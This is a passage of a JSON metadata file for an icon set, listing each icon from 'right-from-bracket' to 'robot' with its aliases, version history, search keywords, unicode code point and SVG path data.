      "unicodes": {
        "secondary": ["10f2f5"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "exit", "leave", "log out", "logout", "sign-out"]
    },
    "styles": ["solid"],
    "unicode": "f2f5",
    "label": "Right From Bracket",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M377.9 105.9L500.7 228.7c7.2 7.2 11.3 17.1 11.3 27.3s-4.1 20.1-11.3 27.3L377.9 406.1c-6.4 6.4-15 9.9-24 9.9c-18.7 0-33.9-15.2-33.9-33.9l0-62.1-128 0c-17.7 0-32-14.3-32-32l0-64c0-17.7 14.3-32 32-32l128 0 0-62.1c0-18.7 15.2-33.9 33.9-33.9c9 0 17.6 3.6 24 9.9zM160 96L96 96c-17.7 0-32 14.3-32 32l0 256c0 17.7 14.3 32 32 32l64 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-64 0c-53 0-96-43-96-96L0 128C0 75 43 32 96 32l64 0c17.7 0 32 14.3 32 32s-14.3 32-32 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M377.9 105.9L500.7 228.7c7.2 7.2 11.3 17.1 11.3 27.3s-4.1 20.1-11.3 27.3L377.9 406.1c-6.4 6.4-15 9.9-24 9.9c-18.7 0-33.9-15.2-33.9-33.9l0-62.1-128 0c-17.7 0-32-14.3-32-32l0-64c0-17.7 14.3-32 32-32l128 0 0-62.1c0-18.7 15.2-33.9 33.9-33.9c9 0 17.6 3.6 24 9.9zM160 96L96 96c-17.7 0-32 14.3-32 32l0 256c0 17.7 14.3 32 32 32l64 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-64 0c-53 0-96-43-96-96L0 128C0 75 43 32 96 32l64 0c17.7 0 32 14.3 32 32s-14.3 32-32 32z"
      }
    },
    "free": ["solid"]
  },
  "right-left": {
    "aliases": {
      "names": ["exchange-alt"],
      "unicodes": {
        "secondary": ["10f362"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "arrows",
        "exchange",
        "reciprocate",
        "return",
        "swap",
        "transfer"
      ]
    },
    "styles": ["solid"],
    "unicode": "f362",
    "label": "Right Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 96l320 0V32c0-12.9 7.8-24.6 19.8-29.6s25.7-2.2 34.9 6.9l96 96c6 6 9.4 14.1 9.4 22.6s-3.4 16.6-9.4 22.6l-96 96c-9.2 9.2-22.9 11.9-34.9 6.9s-19.8-16.6-19.8-29.6V160L32 160c-17.7 0-32-14.3-32-32s14.3-32 32-32zM480 352c17.7 0 32 14.3 32 32s-14.3 32-32 32H160v64c0 12.9-7.8 24.6-19.8 29.6s-25.7 2.2-34.9-6.9l-96-96c-6-6-9.4-14.1-9.4-22.6s3.4-16.6 9.4-22.6l96-96c9.2-9.2 22.9-11.9 34.9-6.9s19.8 16.6 19.8 29.6l0 64H480z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 96l320 0V32c0-12.9 7.8-24.6 19.8-29.6s25.7-2.2 34.9 6.9l96 96c6 6 9.4 14.1 9.4 22.6s-3.4 16.6-9.4 22.6l-96 96c-9.2 9.2-22.9 11.9-34.9 6.9s-19.8-16.6-19.8-29.6V160L32 160c-17.7 0-32-14.3-32-32s14.3-32 32-32zM480 352c17.7 0 32 14.3 32 32s-14.3 32-32 32H160v64c0 12.9-7.8 24.6-19.8 29.6s-25.7 2.2-34.9-6.9l-96-96c-6-6-9.4-14.1-9.4-22.6s3.4-16.6 9.4-22.6l96-96c9.2-9.2 22.9-11.9 34.9-6.9s19.8 16.6 19.8 29.6l0 64H480z"
      }
    },
    "free": ["solid"]
  },
  "right-long": {
    "aliases": {
      "names": ["long-arrow-alt-right"],
      "unicodes": {
        "secondary": ["10f30b"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["forward", "long-arrow-right", "next"]
    },
    "styles": ["solid"],
    "unicode": "f30b",
    "label": "Right Long",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M334.5 414c8.8 3.8 19 2 26-4.6l144-136c4.8-4.5 7.5-10.8 7.5-17.4s-2.7-12.9-7.5-17.4l-144-136c-7-6.6-17.2-8.4-26-4.6s-14.5 12.5-14.5 22l0 72L32 192c-17.7 0-32 14.3-32 32l0 64c0 17.7 14.3 32 32 32l288 0 0 72c0 9.6 5.7 18.2 14.5 22z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M334.5 414c8.8 3.8 19 2 26-4.6l144-136c4.8-4.5 7.5-10.8 7.5-17.4s-2.7-12.9-7.5-17.4l-144-136c-7-6.6-17.2-8.4-26-4.6s-14.5 12.5-14.5 22l0 72L32 192c-17.7 0-32 14.3-32 32l0 64c0 17.7 14.3 32 32 32l288 0 0 72c0 9.6 5.7 18.2 14.5 22z"
      }
    },
    "free": ["solid"]
  },
  "right-to-bracket": {
    "aliases": {
      "names": ["sign-in-alt"],
      "unicodes": {
        "secondary": ["10f2f6"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "enter",
        "join",
        "log in",
        "login",
        "sign in",
        "sign up",
        "sign-in",
        "signin",
        "signup"
      ]
    },
    "styles": ["solid"],
    "unicode": "f2f6",
    "label": "Right To Bracket",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M217.9 105.9L340.7 228.7c7.2 7.2 11.3 17.1 11.3 27.3s-4.1 20.1-11.3 27.3L217.9 406.1c-6.4 6.4-15 9.9-24 9.9c-18.7 0-33.9-15.2-33.9-33.9l0-62.1L32 320c-17.7 0-32-14.3-32-32l0-64c0-17.7 14.3-32 32-32l128 0 0-62.1c0-18.7 15.2-33.9 33.9-33.9c9 0 17.6 3.6 24 9.9zM352 416l64 0c17.7 0 32-14.3 32-32l0-256c0-17.7-14.3-32-32-32l-64 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l64 0c53 0 96 43 96 96l0 256c0 53-43 96-96 96l-64 0c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M217.9 105.9L340.7 228.7c7.2 7.2 11.3 17.1 11.3 27.3s-4.1 20.1-11.3 27.3L217.9 406.1c-6.4 6.4-15 9.9-24 9.9c-18.7 0-33.9-15.2-33.9-33.9l0-62.1L32 320c-17.7 0-32-14.3-32-32l0-64c0-17.7 14.3-32 32-32l128 0 0-62.1c0-18.7 15.2-33.9 33.9-33.9c9 0 17.6 3.6 24 9.9zM352 416l64 0c17.7 0 32-14.3 32-32l0-256c0-17.7-14.3-32-32-32l-64 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l64 0c53 0 96 43 96 96l0 256c0 53-43 96-96 96l-64 0c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "ring": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f70b"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "Gollum",
        "band",
        "binding",
        "d&d",
        "dnd",
        "engagement",
        "fantasy",
        "gold",
        "jewelry",
        "marriage",
        "precious"
      ]
    },
    "styles": ["solid"],
    "unicode": "f70b",
    "label": "Ring",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 208c0 7.8 4.4 18.7 17.1 30.3C126.5 214.1 188.9 200 256 200s129.5 14.1 174.9 38.3C443.6 226.7 448 215.8 448 208c0-12.3-10.8-32-47.9-50.6C364.9 139.8 314 128 256 128s-108.9 11.8-144.1 29.4C74.8 176 64 195.7 64 208zm192 40c-47 0-89.3 7.6-122.9 19.7C166.3 280.2 208.8 288 256 288s89.7-7.8 122.9-20.3C345.3 255.6 303 248 256 248zM0 208c0-49.6 39.4-85.8 83.3-107.8C129.1 77.3 190.3 64 256 64s126.9 13.3 172.7 36.2c43.9 22 83.3 58.2 83.3 107.8v96c0 49.6-39.4 85.8-83.3 107.8C382.9 434.7 321.7 448 256 448s-126.9-13.3-172.7-36.2C39.4 389.8 0 353.6 0 304V208z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 208c0 7.8 4.4 18.7 17.1 30.3C126.5 214.1 188.9 200 256 200s129.5 14.1 174.9 38.3C443.6 226.7 448 215.8 448 208c0-12.3-10.8-32-47.9-50.6C364.9 139.8 314 128 256 128s-108.9 11.8-144.1 29.4C74.8 176 64 195.7 64 208zm192 40c-47 0-89.3 7.6-122.9 19.7C166.3 280.2 208.8 288 256 288s89.7-7.8 122.9-20.3C345.3 255.6 303 248 256 248zM0 208c0-49.6 39.4-85.8 83.3-107.8C129.1 77.3 190.3 64 256 64s126.9 13.3 172.7 36.2c43.9 22 83.3 58.2 83.3 107.8v96c0 49.6-39.4 85.8-83.3 107.8C382.9 434.7 321.7 448 256 448s-126.9-13.3-172.7-36.2C39.4 389.8 0 353.6 0 304V208z"
      }
    },
    "free": ["solid"]
  },
  "road": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6e3"],
        "secondary": ["10f018"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "highway",
        "map",
        "motorway",
        "pavement",
        "road",
        "route",
        "street",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f018",
    "label": "Road",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M256 32H181.2c-27.1 0-51.3 17.1-60.3 42.6L3.1 407.2C1.1 413 0 419.2 0 425.4C0 455.5 24.5 480 54.6 480H256V416c0-17.7 14.3-32 32-32s32 14.3 32 32v64H521.4c30.2 0 54.6-24.5 54.6-54.6c0-6.2-1.1-12.4-3.1-18.2L455.1 74.6C446 49.1 421.9 32 394.8 32H320V96c0 17.7-14.3 32-32 32s-32-14.3-32-32V32zm64 192v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V224c0-17.7 14.3-32 32-32s32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M256 32H181.2c-27.1 0-51.3 17.1-60.3 42.6L3.1 407.2C1.1 413 0 419.2 0 425.4C0 455.5 24.5 480 54.6 480H256V416c0-17.7 14.3-32 32-32s32 14.3 32 32v64H521.4c30.2 0 54.6-24.5 54.6-54.6c0-6.2-1.1-12.4-3.1-18.2L455.1 74.6C446 49.1 421.9 32 394.8 32H320V96c0 17.7-14.3 32-32 32s-32-14.3-32-32V32zm64 192v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V224c0-17.7 14.3-32 32-32s32 14.3 32 32z"
      }
    },
    "free": ["solid"]
  },
  "road-barrier": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["block", "border", "no entry", "roadblock"]
    },
    "styles": ["solid"],
    "unicode": "e562",
    "label": "Road Barrier",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32 32C14.3 32 0 46.3 0 64V448c0 17.7 14.3 32 32 32s32-14.3 32-32V266.3L149.2 96H64V64c0-17.7-14.3-32-32-32zM405.2 96H330.8l-5.4 10.7L234.8 288h74.3l5.4-10.7L405.2 96zM362.8 288h74.3l5.4-10.7L533.2 96H458.8l-5.4 10.7L362.8 288zM202.8 96l-5.4 10.7L106.8 288h74.3l5.4-10.7L277.2 96H202.8zm288 192H576V448c0 17.7 14.3 32 32 32s32-14.3 32-32V64c0-17.7-14.3-32-32-32s-32 14.3-32 32v53.7L490.8 288z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M32 32C14.3 32 0 46.3 0 64V448c0 17.7 14.3 32 32 32s32-14.3 32-32V266.3L149.2 96H64V64c0-17.7-14.3-32-32-32zM405.2 96H330.8l-5.4 10.7L234.8 288h74.3l5.4-10.7L405.2 96zM362.8 288h74.3l5.4-10.7L533.2 96H458.8l-5.4 10.7L362.8 288zM202.8 96l-5.4 10.7L106.8 288h74.3l5.4-10.7L277.2 96H202.8zm288 192H576V448c0 17.7 14.3 32 32 32s32-14.3 32-32V64c0-17.7-14.3-32-32-32s-32 14.3-32 32v53.7L490.8 288z"
      }
    },
    "free": ["solid"]
  },
  "road-bridge": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bridge", "infrastructure", "road", "travel"]
    },
    "styles": ["solid"],
    "unicode": "e563",
    "label": "Road Bridge",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M352 0H608c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V32c0-17.7 14.3-32 32-32zM480 200c-13.3 0-24 10.7-24 24v64c0 13.3 10.7 24 24 24s24-10.7 24-24V224c0-13.3-10.7-24-24-24zm24 184c0-13.3-10.7-24-24-24s-24 10.7-24 24v64c0 13.3 10.7 24 24 24s24-10.7 24-24V384zM480 40c-13.3 0-24 10.7-24 24v64c0 13.3 10.7 24 24 24s24-10.7 24-24V64c0-13.3-10.7-24-24-24zM32 96H288v64H248v64h40v96c-53 0-96 43-96 96v64c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32V416c0-53-43-96-96-96V224H72V160H32c-17.7 0-32-14.3-32-32s14.3-32 32-32zm168 64H120v64h80V160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M352 0H608c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V32c0-17.7 14.3-32 32-32zM480 200c-13.3 0-24 10.7-24 24v64c0 13.3 10.7 24 24 24s24-10.7 24-24V224c0-13.3-10.7-24-24-24zm24 184c0-13.3-10.7-24-24-24s-24 10.7-24 24v64c0 13.3 10.7 24 24 24s24-10.7 24-24V384zM480 40c-13.3 0-24 10.7-24 24v64c0 13.3 10.7 24 24 24s24-10.7 24-24V64c0-13.3-10.7-24-24-24zM32 96H288v64H248v64h40v96c-53 0-96 43-96 96v64c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32V416c0-53-43-96-96-96V224H72V160H32c-17.7 0-32-14.3-32-32s14.3-32 32-32zm168 64H120v64h80V160z"
      }
    },
    "free": ["solid"]
  },
  "road-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "freeway",
        "highway",
        "not affected",
        "ok",
        "okay",
        "pavement",
        "road"
      ]
    },
    "styles": ["solid"],
    "unicode": "e564",
    "label": "Road Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M213.2 32H288V96c0 17.7 14.3 32 32 32s32-14.3 32-32V32h74.8c27.1 0 51.3 17.1 60.3 42.6l42.7 120.6c-10.9-2.1-22.2-3.2-33.8-3.2c-59.5 0-112.1 29.6-144 74.8V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v64c0 17.7 14.3 32 32 32c2.3 0 4.6-.3 6.8-.7c-4.5 15.5-6.8 31.8-6.8 48.7c0 5.4 .2 10.7 .7 16l-.7 0c-17.7 0-32 14.3-32 32v64H86.6C56.5 480 32 455.5 32 425.4c0-6.2 1.1-12.4 3.1-18.2L152.9 74.6C162 49.1 186.1 32 213.2 32zM352 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm211.3-43.3c-6.2-6.2-16.4-6.2-22.6 0L480 385.4l-28.7-28.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l40 40c6.2 6.2 16.4 6.2 22.6 0l72-72c6.2-6.2 6.2-16.4 0-22.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M213.2 32H288V96c0 17.7 14.3 32 32 32s32-14.3 32-32V32h74.8c27.1 0 51.3 17.1 60.3 42.6l42.7 120.6c-10.9-2.1-22.2-3.2-33.8-3.2c-59.5 0-112.1 29.6-144 74.8V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v64c0 17.7 14.3 32 32 32c2.3 0 4.6-.3 6.8-.7c-4.5 15.5-6.8 31.8-6.8 48.7c0 5.4 .2 10.7 .7 16l-.7 0c-17.7 0-32 14.3-32 32v64H86.6C56.5 480 32 455.5 32 425.4c0-6.2 1.1-12.4 3.1-18.2L152.9 74.6C162 49.1 186.1 32 213.2 32zM352 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm211.3-43.3c-6.2-6.2-16.4-6.2-22.6 0L480 385.4l-28.7-28.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l40 40c6.2 6.2 16.4 6.2 22.6 0l72-72c6.2-6.2 6.2-16.4 0-22.6z"
      }
    },
    "free": ["solid"]
  },
  "road-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "freeway", "highway", "pavement", "road"]
    },
    "styles": ["solid"],
    "unicode": "e565",
    "label": "Road Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M213.2 32H288V96c0 17.7 14.3 32 32 32s32-14.3 32-32V32h74.8c27.1 0 51.3 17.1 60.3 42.6l42.7 120.6c-10.9-2.1-22.2-3.2-33.8-3.2c-59.5 0-112.1 29.6-144 74.8V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v64c0 17.7 14.3 32 32 32c2.3 0 4.6-.3 6.8-.7c-4.5 15.5-6.8 31.8-6.8 48.7c0 5.4 .2 10.7 .7 16l-.7 0c-17.7 0-32 14.3-32 32v64H86.6C56.5 480 32 455.5 32 425.4c0-6.2 1.1-12.4 3.1-18.2L152.9 74.6C162 49.1 186.1 32 213.2 32zM496 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm0-192c-8.8 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16s16-7.2 16-16V288c0-8.8-7.2-16-16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M213.2 32H288V96c0 17.7 14.3 32 32 32s32-14.3 32-32V32h74.8c27.1 0 51.3 17.1 60.3 42.6l42.7 120.6c-10.9-2.1-22.2-3.2-33.8-3.2c-59.5 0-112.1 29.6-144 74.8V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v64c0 17.7 14.3 32 32 32c2.3 0 4.6-.3 6.8-.7c-4.5 15.5-6.8 31.8-6.8 48.7c0 5.4 .2 10.7 .7 16l-.7 0c-17.7 0-32 14.3-32 32v64H86.6C56.5 480 32 455.5 32 425.4c0-6.2 1.1-12.4 3.1-18.2L152.9 74.6C162 49.1 186.1 32 213.2 32zM496 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm0-192c-8.8 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16s16-7.2 16-16V288c0-8.8-7.2-16-16-16z"
      }
    },
    "free": ["solid"]
  },
  "road-circle-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["destroy", "freeway", "highway", "pavement", "road"]
    },
    "styles": ["solid"],
    "unicode": "e566",
    "label": "Road Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M213.2 32H288V96c0 17.7 14.3 32 32 32s32-14.3 32-32V32h74.8c27.1 0 51.3 17.1 60.3 42.6l42.7 120.6c-10.9-2.1-22.2-3.2-33.8-3.2c-59.5 0-112.1 29.6-144 74.8V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v64c0 17.7 14.3 32 32 32c2.3 0 4.6-.3 6.8-.7c-4.5 15.5-6.8 31.8-6.8 48.7c0 5.4 .2 10.7 .7 16l-.7 0c-17.7 0-32 14.3-32 32v64H86.6C56.5 480 32 455.5 32 425.4c0-6.2 1.1-12.4 3.1-18.2L152.9 74.6C162 49.1 186.1 32 213.2 32zM496 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm22.6 144l36.7-36.7c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0L496 345.4l-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L473.4 368l-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L496 390.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L518.6 368z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M213.2 32H288V96c0 17.7 14.3 32 32 32s32-14.3 32-32V32h74.8c27.1 0 51.3 17.1 60.3 42.6l42.7 120.6c-10.9-2.1-22.2-3.2-33.8-3.2c-59.5 0-112.1 29.6-144 74.8V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v64c0 17.7 14.3 32 32 32c2.3 0 4.6-.3 6.8-.7c-4.5 15.5-6.8 31.8-6.8 48.7c0 5.4 .2 10.7 .7 16l-.7 0c-17.7 0-32 14.3-32 32v64H86.6C56.5 480 32 455.5 32 425.4c0-6.2 1.1-12.4 3.1-18.2L152.9 74.6C162 49.1 186.1 32 213.2 32zM496 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm22.6 144l36.7-36.7c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0L496 345.4l-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L473.4 368l-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L496 390.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L518.6 368z"
      }
    },
    "free": ["solid"]
  },
  "road-lock": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "closed",
        "freeway",
        "highway",
        "lockdown",
        "pavement",
        "quarantine",
        "road"
      ]
    },
    "styles": ["solid"],
    "unicode": "e567",
    "label": "Road Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M288 32H213.2c-27.1 0-51.3 17.1-60.3 42.6L35.1 407.2c-2.1 5.9-3.1 12-3.1 18.2C32 455.5 56.5 480 86.6 480H288V416c0-17.7 14.3-32 32-32s32 14.3 32 32v64h32V352c0-23.7 12.9-44.4 32-55.4V272c0-58.3 44.6-106.2 101.5-111.5L487.1 74.6C478 49.1 453.9 32 426.8 32H352V96c0 17.7-14.3 32-32 32s-32-14.3-32-32V32zm64 192v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V224c0-17.7 14.3-32 32-32s32 14.3 32 32zm176 16c17.7 0 32 14.3 32 32v48H496V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M288 32H213.2c-27.1 0-51.3 17.1-60.3 42.6L35.1 407.2c-2.1 5.9-3.1 12-3.1 18.2C32 455.5 56.5 480 86.6 480H288V416c0-17.7 14.3-32 32-32s32 14.3 32 32v64h32V352c0-23.7 12.9-44.4 32-55.4V272c0-58.3 44.6-106.2 101.5-111.5L487.1 74.6C478 49.1 453.9 32 426.8 32H352V96c0 17.7-14.3 32-32 32s-32-14.3-32-32V32zm64 192v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V224c0-17.7 14.3-32 32-32s32 14.3 32 32zm176 16c17.7 0 32 14.3 32 32v48H496V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z"
      }
    },
    "free": ["solid"]
  },
  "road-spikes": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["barrier", "roadblock", "spikes"]
    },
    "styles": ["solid"],
    "unicode": "e568",
    "label": "Road Spikes",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 116.8c0-15.8 20.5-22 29.3-8.9L192 256V116.8c0-15.8 20.5-22 29.3-8.9L320 256V116.8c0-15.8 20.5-22 29.3-8.9L448 256V116.8c0-15.8 20.5-22 29.3-8.9L606.8 302.2c14.2 21.3-1.1 49.7-26.6 49.7H512 448 384 320 256 192 64V116.8zM32 384H608c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 116.8c0-15.8 20.5-22 29.3-8.9L192 256V116.8c0-15.8 20.5-22 29.3-8.9L320 256V116.8c0-15.8 20.5-22 29.3-8.9L448 256V116.8c0-15.8 20.5-22 29.3-8.9L606.8 302.2c14.2 21.3-1.1 49.7-26.6 49.7H512 448 384 320 256 192 64V116.8zM32 384H608c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "robot": {
    "aliases": {
      "unicodes": {
        "composite": ["1f916"],
        "secondary": ["10f544"]
      }
    },
    "changes": ["5.0.13", "5.12.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "android",
        "automate",
        "computer",
        "cyborg",
        "face",
        "monster",
        "robot"
      ]
    },
    "styles": ["solid"],
    "unicode": "f544",
    "label": "Robot",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 0c17.7 0 32 14.3 32 32V96H472c39.8 0 72 32.2 72 72V440c0 39.8-32.2 72-72 72H168c-39.8 0-72-32.2-72-72V168c0-39.8 32.2-72 72-72H288V32c0-17.7 14.3-32 32-32zM208 384c-8.8 0-16 7.2-16 16s7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H208zm96 0c-8.8 0-16 7.2-16 16s7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H304zm96 0c-8.8 0-16 7.2-16 16s7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H400zM264 256a40 40 0 1 0 -80 0 40 40 0 1 0 80 0zm152 40a40 40 0 1 0 0-80 40 40 0 1 0 0 80zM48 224H64V416H48c-26.5 0-48-21.5-48-48V272c0-26.5 21.5-48 48-48zm544 0c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H576V224h16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
